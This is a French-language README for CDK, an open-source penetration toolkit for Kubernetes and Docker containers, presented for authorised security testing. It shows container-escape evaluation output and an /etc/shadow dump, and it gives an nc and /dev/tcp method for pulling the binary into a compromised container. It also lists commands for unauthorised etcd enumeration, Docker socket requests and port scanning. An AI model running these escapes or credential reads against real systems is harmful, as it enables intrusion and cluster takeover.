
📦 Facilitez les tests de sécurité de K8s, Docker et Containerd.
Anglais | 简体中文

L'utilisation de CDK pour attaquer des cibles sans consentement mutuel préalable est illégale. CDK est destiné uniquement à des fins de tests de sécurité.
CDK est un toolkit de pénétration de conteneurs open-source, conçu pour offrir une exploitation stable dans différents conteneurs allégés sans aucune dépendance au système d'exploitation. Il est fourni avec des outils réseau utiles et de nombreux PoCs/EXPs puissants et vous aide à vous échapper du conteneur et à prendre le contrôle du cluster K8s facilement.
Exécutez cdk eva pour obtenir des informations d'évaluation et une exploit recommandée, puis exécutez cdk run pour lancer l'attaque.
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
Téléchargez la dernière version sur https://github.com/cdk-team/CDK/releases/
Déposez les fichiers exécutables dans le conteneur cible et commencez les tests.
Si vous avez une exploit qui peut téléverser un fichier, vous pouvez alors téléverser le binaire CDK directement.
Si vous avez une RCE exploit, mais que le conteneur cible n'a ni curl ni wget, vous pouvez utiliser la méthode suivante pour livrer CDK :
(sur votre hôte)
nc -lvp 999 < cdk
cat < /dev/tcp/(votre_ip_hote_publique)/(port) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Collecte des informations pour trouver des failles dans le conteneur.
cdk evaluate --full Active l'analyse des fichiers lors de la collecte d'informations.
Exploit:
cdk run --list Liste toutes les exploits disponibles.
cdk run <exploit> [<args>...] Exécute une exploit unique, documentation sur https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Modifie les fichiers dans le conteneur comme la commande "vi".
ps Affiche les informations sur les processus comme la commande "ps -ef".
nc [options] Crée un tunnel TCP.
ifconfig Affiche les informations réseau.
kcurl <path> (get|post) <uri> <data> Effectue une requête au K8s api-server.
ectl <endpoint> get <key> Énumération non autorisée des clés etcd.
ucurl (get|post) <socket> <uri> <data> Effectue une requête au socket Unix docker.
probe <ip> <port> <parallel> <timeout-ms> Scan de port TCP, exemple : cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Affiche ce message d'aide.
-v --version Affiche la version.
--profile=<name> Sélectionne le profil d'évaluation.
CDK dispose de trois modules :
Utilisation
cdk evaluate [--full]
| Tactiques | Script | Supporté | Utilisation/Exemple |
|---|---|---|---|
| Collecte d'informations | Infos de base OS | ✔ | lien |
| Collecte d'informations | Capacités disponibles | ✔ | lien |
| Collecte d'informations | Commandes Linux disponibles | ✔ | lien |
| Collecte d'informations | Points de montage | ✔ | lien |
| Collecte d'informations | Espace de noms réseau | ✔ | lien |
| Collecte d'informations | ENV sensibles | ✔ | lien |
| Collecte d'informations | Processus sensibles | ✔ | lien |
| Collecte d'informations | Fichiers locaux sensibles | ✔ | lien |
| Collecte d'informations | Kube-proxy Route Localnet(CVE-2020-8558) | ✔ | lien |
| Collecte d'informations | Découverte de services basée sur DNS | ✔ | lien |
| Découverte | Infos K8s Api-server | ✔ | lien |
| Découverte | Infos K8s Service-account | ✔ | lien |
| Découverte | API Metadata du fournisseur Cloud | ✔ | lien |
Liste toutes les exploits disponibles :
cdk run --list
Exécute une exploit ciblée :
cdk run <nom-script> [options]